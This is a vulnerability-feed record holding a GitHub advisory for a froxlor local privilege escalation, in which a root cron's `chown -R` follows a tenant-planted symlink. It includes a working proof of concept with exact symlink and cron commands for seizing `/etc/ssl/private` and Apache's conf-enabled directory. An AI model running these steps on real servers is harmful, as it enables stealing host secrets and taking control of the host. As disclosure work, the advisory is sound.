{"schema":"threatline.record/2","record":{"id":"GHSA-vwjv-x8ff-4cvv","aliases":["GHSA-vwjv-x8ff-4cvv"],"summary":"Local privilege escalation via missing symlink containment in the root traffic cron's `chown -R`, enabling takeover of any host directory","details":"### Summary\r\n\r\n**Local privilege escalation (CWE-59, link following) through a root `chown -R` that never runs froxlor's own symlink-containment walk.** `Statistics::makeChownWithNewStats()` builds `$dir = <customer documentroot>/<system.traffictool>/` and hands it to `chown -R` as root, passing it through `FileDir::makeCorrectDir($dir)` with **one argument** — and the containment walk inside that function is gated on the optional second parameter `$fixed_homedir`. With one argument the call is pure string normalisation: it guarantees a leading and a trailing slash and checks nothing.\r\n\r\nThe customer owns their document root, so they replace the `goaccess` entry inside it with a symlink to any directory on the host. The trailing slash `makeCorrectDir` guarantees is exactly what makes `chown -R` dereference that final symlink and recurse into its target, because `chown -R`'s default `-P` only refuses symlinks encountered *during* traversal — the command-line operand is resolved by the kernel before chown sees it.\r\n\r\nThis is the same defect class as `CVE-2026-41231` (DataDump export cron) and `CVE-2026-41236` (SSH-key sync), with one difference that makes it worse: **the `traffic` cron is seeded active in the shipped schema**, where the `export` cron that `CVE-2026-41231` covered is seeded `isactive = '0'`.\r\n\r\n### Details\r\n\r\n```php\r\n// lib/Froxlor/Http/Statistics.php:144-162\r\npublic static function makeChownWithNewStats(array $row)\r\n{\r\n    …\r\n    // get correct directory\r\n    $dir = $row['documentroot'] . '/' . Settings::Get('system.traffictool') . '/';   // :156\r\n\r\n    // only run chown if directory exists\r\n    if (file_exists($dir)) {                                                          // :159  dereferences the link\r\n        FileDir::safe_exec('chown -R ' . escapeshellarg($user) . ':' . escapeshellarg($group)\r\n            . ' ' . escapeshellarg(FileDir::makeCorrectDir($dir)));                   // :161  ONE argument\r\n    }\r\n}\r\n```\r\n\r\n```php\r\n// lib/Froxlor/FileDir.php:133\r\npublic static function makeCorrectDir(string $dir, string $fixed_homedir = \"\"): string\r\n{\r\n    …\r\n    // if given, check that the target path is within the $fixed_homedir\r\n    if (!empty($fixed_homedir)) {          // the entire is_link() walk lives inside this\r\n```\r\n\r\n`$row['documentroot']` is `/var/customers/webs/<loginname>/`, which froxlor creates and chowns to the customer in `TasksCron::createNewHome`. `system.traffictool` ships as `goaccess` (`install/froxlor.sql.php:700`). So the attacker controls what the final path component refers to.\r\n\r\n**This is the guard its own siblings already carry.** The 2.3.11 containment sweep — `2cd70e95`, `ea558864`, `4ae653ef`, `59cd0090`, `8192f427` — fixed exactly this shape everywhere it looked:\r\n\r\n| Root FS operation | Path source | Call | Containment |\r\n|---|---|---|---|\r\n| `TasksCron::deleteEmailData` `rm -rf` | customer emailpath | `makeCorrectDir($email_full, $customermaildir)` — `TasksCron.php:356` | **present** (`59cd0090`) |\r\n| `TasksCron::deleteFtpData` `rm -rf` | customer homedir | `makeCorrectDir($row['data']['homedir'], $customerdocroot)` — `TasksCron.php:392` | **present** (`59cd0090`) |\r\n| `FileDir::mkDirWithCorrectOwnership` `mkdir`+`chown -R` | customer docroot | `makeCorrectDir($sdir, $homeDir)` — `FileDir.php:96` | **present** (`2cd70e95`) |\r\n| `ExportCron` `chown -R` (`CVE-2026-41231`) | customer export destination | two-argument form | **present** (`ea558864`) |\r\n| **`Statistics::makeChownWithNewStats` `chown -R`** | **customer documentroot** | **`makeCorrectDir($dir)`** — `Statistics.php:161` | **absent** |\r\n\r\nThe combined `--stat` of those five commits touches `Cron/Http/Apache.php`, `Cron/Http/Nginx.php`, `FileDir.php`, `Validate/Validate.php`, `Cron/System/ExportCron.php`, `Cron/System/TasksCron.php` and `Cron/System/SshKeys.php`. It never touches `lib/Froxlor/Http/Statistics.php` or `lib/Froxlor/Cron/Traffic/TrafficCron.php`, and `Statistics.php` has not been modified for a security reason since 2023 — its last two commits are `4d3f47fe` (2025-09-29, a copyright note) and `46466387` (2023-02-07, type declarations).\r\n\r\n**Reachability.** `TrafficCron.php:219` calls `makeChownWithNewStats($row)` *after* the goaccess/awstats/webalizer dispatch, inside `if (isset($domainlist[$row['customerid']]) && count(...) != 0)` — so it runs for every customer holding at least one domain, which every customer with `createstdsubdomain` has. **It does not require any statistics binary to be installed**; the `chown -R` runs regardless of whether goaccess exists.\r\n\r\n```\r\ninstall/froxlor.sql.php:918\r\n(2, 'froxlor/core', 'traffic', '\\\\Froxlor\\\\Cron\\\\Traffic\\\\TrafficCron', '1 DAY', '1', 'cron_traffic'),\r\n                                                                                  ^^^ isactive\r\n```\r\n\r\nand every froxlor cron job runs as root — `CronConfig.php:113` writes `root <php> …/bin/froxlor-cli froxlor:cron <job>` into `/etc/cron.d`.\r\n\r\nA second sink sits in the same function: `Statistics::createAWStatsConf` (`Statistics.php:59-64`) does `mkdir -p <customerDocroot>/awstats/<siteDomain>/` and then calls `makeChownWithNewStats`, reached from `Cron/Http/Apache.php:1193` and `Cron/Http/Nginx.php:814` when `system.traffictool = awstats` — i.e. through task type 1, which any customer enqueues with a single `SubDomains.update`. That path is stated from the code and was not separately demonstrated.\r\n\r\n### Proof of concept\r\n\r\nfroxlor **2.3.14** (`c147de18`, which is also `origin/v2` HEAD), `system.traffictool = goaccess` (shipped default), `phpfpm.enabled = 1`, customer `web1` (uid/gid 10000, documentroot `/var/customers/webs/web1/`). Docker: `mariadb:10.11` + `php:8.2-apache`, installed unattended through `bin/froxlor-cli froxlor:install`. A system user `web1` was created in the container because a real froxlor host resolves that name through `libnssextrausers` (`system.nssextrausers = 1`), which a plain `php-apache` image does not carry — environment fidelity, not a shortcut past the bug.\r\n\r\nThe victim object is `/etc/ssl/private`, mode `0700 root:root`, which pre-existed the exercise. The key inside it was written **by root, before the attacker acted**.\r\n\r\n```\r\n=== 1. PRE-STATE (root-owned, pre-existing; tenant cannot read) ===\r\ndrwx------ 1 0 0   20 Sep 17 03:36 /etc/ssl/private\r\n-rw------- 1 0 0 1704 Sep 17 03:36 /etc/ssl/private/server.key\r\ncat: /etc/ssl/private/server.key: Permission denied\r\n\r\n=== 2. CONTROL: tenant cannot chown it ===\r\nchown: changing ownership of '/etc/ssl/private': Operation not permitted\r\n\r\n=== 3. ATTACK (tenant, inside its own documentroot) ===\r\nlrwxrwxrwx 1 web1 web1 16 Sep 17 03:40 goaccess -> /etc/ssl/private\r\n\r\n=== 4. root runs the default-enabled daily traffic cron ===\r\nRunning \"traffic\" job\r\n\r\n=== 5. POST-STATE ===\r\ndrwx------ 1 10000 10000   20 Sep 17 03:36 /etc/ssl/private\r\n-rw------- 1 10000 10000 1704 Sep 17 03:36 /etc/ssl/private/server.key\r\n\r\n=== 6. IMPACT ARTEFACT: tenant reads the root TLS private key ===\r\nModulus=C604480DF371B914B0DC28D17534716EF32AD22ED3AA2AC4C6CC327E\r\n-----BEGIN PRIVATE KEY-----\r\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGBEgN83G5FLDc\r\n```\r\n\r\nExact commands:\r\n\r\n```bash\r\n# as root, once, before the attacker acts (the victim secret)\r\nopenssl genrsa -out /etc/ssl/private/server.key 2048\r\nchmod 600 /etc/ssl/private/server.key && chown root:root /etc/ssl/private/server.key\r\n\r\n# as the tenant\r\nsu web1 -s /bin/sh -c \"cat /etc/ssl/private/server.key\"      # -> Permission denied      (read-first)\r\nsu web1 -s /bin/sh -c \"chown web1:web1 /etc/ssl/private\"     # -> Operation not permitted (control)\r\nsu web1 -s /bin/sh -c \"rm -rf /var/customers/webs/web1/goaccess; \\\r\n                       ln -s /etc/ssl/private /var/customers/webs/web1/goaccess\"\r\n\r\n# as root — this is what cron does, daily\r\nphp /var/www/froxlor/bin/froxlor-cli froxlor:cron traffic\r\n\r\n# as the tenant\r\nsu web1 -s /bin/sh -c \"openssl rsa -in /etc/ssl/private/server.key -noout -modulus\"\r\n```\r\n\r\n**The oracle is not \"the cron did not refuse\".** It is the ownership triple on the object under test flipping `0:0 → 10000:10000`, plus the tenant printing the actual PEM bytes and RSA modulus of a key it could not read one command earlier. The positive control tests the tenant's own ability against that object and **grants nothing on it** — it fails closed and leaves the object untouched.\r\n\r\n**Negative control**, isolating the symlink as the cause:\r\n\r\n```\r\n=== NEGATIVE CONTROL: same cron, a real directory instead of the symlink ===\r\ndrwxrwxr-x 1 web1 web1  0 goaccess\r\n--- pre:  drwx------ 1 0 0 20 /etc/ssl/private\r\n--- post: drwx------ 1 0 0 20 /etc/ssl/private    <- unchanged\r\n\r\n=== RE-ARM: symlink again, confirm reproducibility ===\r\ndrwx------ 1 10000 10000 20 /etc/ssl/private\r\n```\r\n\r\n**Second target, showing this is arbitrary-directory and root-equivalent** — `/etc/apache2/conf-enabled`, pre-existing since the image build:\r\n\r\n```\r\n--- pre:  drwxr-xr-x 1 0     0       30 /etc/apache2/conf-enabled\r\n--- post: drwxr-xr-x 1 10000 10000  224 /etc/apache2/conf-enabled\r\n$ su web1 -c 'echo \"# tenant-controlled apache directive\" > /etc/apache2/conf-enabled/pwn.conf'\r\n-rw-rw-r-- 1 10000 10000 37 /etc/apache2/conf-enabled/pwn.conf\r\n```\r\n\r\nOwning `conf-enabled` is arbitrary Apache configuration, and froxlor's own cron reloads Apache.\r\n\r\n### Impact\r\n\r\n`CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` — **8.8 High**.\r\n\r\n`AV:L` because the attacker needs their own shell, FTP or web access to their document root to create the symlink. That is an ordinary shared-hosting capability, not a network API call, so Local is the honest reading — if you treat a tenant's own filesystem as panel-reachable (the customer can also set `documentroot` through the API and upload through froxlor's own FTP), the vector is `AV:N` and the score **9.6**. I state the conservative one. `AC:L` — no race and no window; the symlink simply waits for the daily cron. `PR:L` — an ordinary customer account. `S:C` — the vulnerable component is the panel, the impacted component is the host OS outside froxlor's managed scope. `C:H/I:H/A:H` — ownership of an arbitrary tree gives read of any secret in it (demonstrated on TLS private keys), write into it (demonstrated on Apache configuration), and destruction of it.\r\n\r\nFor calibration against your own record: `CVE-2026-41231`, the same `chown -R`-through-symlink shape in a cron seeded **inactive**, is rated High.\r\n\r\n### Suggested fix\r\n\r\nPass the customer boundary as the second argument, exactly as `ea558864` and `59cd0090` did for the other crons:\r\n\r\n```php\r\n$homedir = FileDir::makeCorrectDir($row['documentroot']);\r\nFileDir::safe_exec('chown -R … ' . escapeshellarg(FileDir::makeCorrectDir($dir, $homedir)));\r\n```\r\n\r\n**Six more root operations in the same subsystem take a customer-controlled path with no containment at time of use**, and they are the reason a chokepoint is worth more than a point fix here. Reported as leads rather than as findings, because only the one above was demonstrated:\r\n\r\n| Handler | Privileged op | Path provenance | file:line |\r\n|---|---|---|---|\r\n| `Statistics::createAWStatsConf` | `mkdir -p` | customer documentroot + `/awstats/` | `Http/Statistics.php:59-61` |\r\n| `TrafficCron` `.ftpquota` | `fopen('w')` + `chown` | `ftp_users.homedir` | `Cron/Traffic/TrafficCron.php:513-520` |\r\n| `TrafficCron::callGoaccessGetTraffic` | `mkdir -p`, `unlink` | `documentroot/goaccess/…` | `TrafficCron.php:603-633` |\r\n| `TrafficCron::callWebalizerGetTraffic` | `mkdir -p`, `unlink`, `cp` | `documentroot/webalizer/…` | `TrafficCron.php:687-715` |\r\n| `TrafficCron::awstats*` | `mkdir -p`, `ln -fTs`, `fopen('w')` | `documentroot/awstats/…` | `TrafficCron.php:838-842, 863-864, 935-937` |\r\n| `Fcgid::getConfigDir` / `createIniFile` | root `fopen('w')` into a directory just chowned to the customer | `mod_fcgid_configdir/loginname/domain` | `Cron/Http/Php/Fcgid.php:128-134, 215-219` |\r\n\r\nTwo related observations from the same read, also unproven: `Cron/Http/Nginx.php:1004` and `:1062` have no counterpart to the write-time re-validation `2cd70e95` added at `Apache.php:1246`; and `FileDir::makeCorrectFile` (`:466-472`) never received the `resolveDotSegments()` hardening its `makeCorrectDir` sibling got in `4ae653ef`, so a relative symlink target still passes the prefix check there — its only `$fixed_homedir` callers are `SshKeys.php:58` and `:142`.\r\n\r\n### What this is not\r\n\r\nNot remote code execution by itself. It is an ownership primitive; root execution follows from what the attacker chooses to own and needs a second step — write a file, wait for a reload.\r\n\r\nNot dependent on any statistics binary being installed. The `chown -R` runs whether or not goaccess, awstats or webalizer is present.\r\n\r\nNot a race condition. `CVE-2026-41236` (SSH keys) is a TOCTOU; this one has no window to win — the symlink is planted and waits.\r\n\r\nThe `$user`/`$group` used are the customer's login name when `mod_fcgid` or `phpfpm` is on. On a host without `libnssextrausers` **and** with `phpfpm.enabled = 1`, `chown` fails with `invalid user` and the attack no-ops. froxlor ships `nssextrausers = 1` and its installer configures it, so a default install is affected; with `mod_fcgid = 0` and `phpfpm.enabled = 0` the numeric `guid` is used and the caveat disappears entirely.\r\n\r\nThe `awstats` / task-1 sink was read, not run. Only the traffic-cron sink is demonstrated.\r\n\r\nAffected range verified at `2.3.14` and `origin/v2` `c147de18`. `origin/main` is the v3 Laravel rewrite and does not contain `lib/Froxlor/` at all, so it carries none of this code yet. The one-argument call is present in every tag from `2.0.0`; in `0.10.x` the same function chowns a fixed `webalizer`/`awstats` subdirectory, so the class reaches further back, but I claim only what I verified.\r\n","categories":["Unclassified"],"product":"froxlor/froxlor","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-vwjv-x8ff-4cvv","source_modified_at":"2026-10-20T07:24:43Z","fetched_at":"2026-10-25T16:01:37.004770Z","package":{"ecosystem":"composer","name":"froxlor/froxlor"},"range":">= 2.0.0, <= 2.3.14"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-vwjv-x8ff-4cvv","source_modified_at":"2026-10-20T07:24:43Z","fetched_at":"2026-10-25T16:01:37.004770Z","package":{"ecosystem":"composer","name":"froxlor/froxlor"},"version":"2.3.15"}],"cvss":8.8,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-20T07:24:43Z","modified_at":"2026-10-20T07:24:43Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/froxlor/froxlor/security/advisories/GHSA-vwjv-x8ff-4cvv","fetched_at":"2026-10-25T16:01:37.004770Z","source_modified_at":"2026-10-20T07:24:43Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-20T07:24:43Z","content_hash":"19719f91d66e91a63cb192393e7b9614fdaf9f36dfadc998d181854b6ffcfddb"}}
